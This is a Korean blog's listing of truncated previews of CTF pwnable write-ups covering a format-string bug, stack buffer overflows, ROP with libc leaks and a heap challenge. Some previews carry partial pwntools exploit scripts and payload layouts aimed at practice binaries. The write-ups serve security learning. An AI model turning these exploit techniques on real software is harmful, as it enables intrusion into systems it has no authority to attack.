pwnable(115)
-
HackCTF - babyfsb
문제는 위와 같습니다. ida를 통해서 문제를 확인해보면 위와 같은 구조를 가지고 있습니다. 전형적인 FSB문제입니다. 1. 어떻게 main으로 반복할 것인가 2. 어떻게 canary를 처리할 것인가 3. 어떻게 system주소를 가져올 것인가 세가지에 대해서 생각해보면 됩니다. 1번의 경우 canary를 덮은 경우 __stack_chk_fail함수를 호출하게 되는데 이 함수의 got를 main함수로 덮으면 됩니다. 2번의 경우 1번을 위해 사용하면 됩니다. 3번의 경우 main으로 복귀하는 루프문이 만들어진 이후 __libc_start_main인 main의 ret은 fsb를 이용해서 leak해서 풀이가 가능합니다. 아래는 exploit 코드입니다. from pwn import * #r = process..
2021.06.26 -
Rootme - ELF x86 - Stack buffer overflow basic 1
해당 문제는 lob와 비슷한 pwnable문제 입니다. #include #include #include #include int main() { int var; int check = 0x04030201; char buf[40]; fgets(buf,45,stdin); printf("\n[buf]: %s\n", buf); printf("[check] %p\n", check); if ((check != 0x04030201) && (check != 0xdeadbeef)) printf ("\nYou are on the right way!\n"); if (check == 0xdeadbeef) { printf("Yeah dude! You win!\nOpening your shell...\n"); setreuid(get..
2021.06.11 -
HackCTF - j0n9hyun's secret
from pwn import * context.log_level = "debug" r = remote("ctf.j0n9hyun.xyz", 3031) #r = process("./j0n9hyun_secret") e = ELF("./j0n9hyun_secret") l = e.libc r.recv() pay = "" pay += "A"*0x138 pay += p8(3) r.sendline(pay) r.interactive() 페이로드는 위와 같이 풀었다. 바이너리가 다 깨져서 하나하나 어셈보고 풀이했다. 이렇게 어셈 정리해서 read부분에서 읽어올때 fd를 3으로 바꿔주면된다. 3으로 바꿔주는 이유는 이게 중간에 실행되는데 flag파일에 대한 fd가 3이고, top_secret에 대한 fd가 4여서 3으로 바..
2021.02.06 -
pwn - r0pbaby
from pwn import * context.log_level = "debug" r = process("./r0pbaby") e = ELF("./r0pbaby") l = e.libc shell = [0x4f3d5, 0x4f432, 0x10a41c] system_off = l.sym['system'] r.sendlineafter(": ", "2") r.sendlineafter(": ", "system") r.recvuntil(": ") leak = int(r.recv(18), 16) libc_base = leak - system_off one_shot = libc_base + shell[0] log.info("leak = " + hex(leak)) log.info("libc_base = " + hex(l..
2021.02.05 -
rctf - rnote
문제를 확인해보면 전형적인 힙문제같다, 1.생성 2.삭제 3.출력 기능이 있다. ida로 메인 코드를 확인해보면 add 에서 for ( i = 0; i malloc_hook 3. malloc hook ovewrite payload 는 아래와 같다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import * r = process("./RNote") e = ELF("./RNote") context.log_leve..
2021.01.27 -
HackCTF - World Best Encryption Tool
World Best Encryption Tool 문제입니다. 실행해보면 뭔가 암호화해서 출력해주는 프로그램 같습니다. nx와 카나리가 있네요. main함수를 보면 14번줄, 20번줄에서 bof가 발생합니다 17번째에서 src를 암호화 한 부분을 dest로 덮어씌우니 여기서 잘 활용하면 canary_leak이 가능할 거같네요. 그리고 Yes로 다시 메인으로 가서 libc_leak해서 oneshot으로 터트리면 될 것 같습니다. 페이로드는 아래와 같습니다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 5..
2021.01.11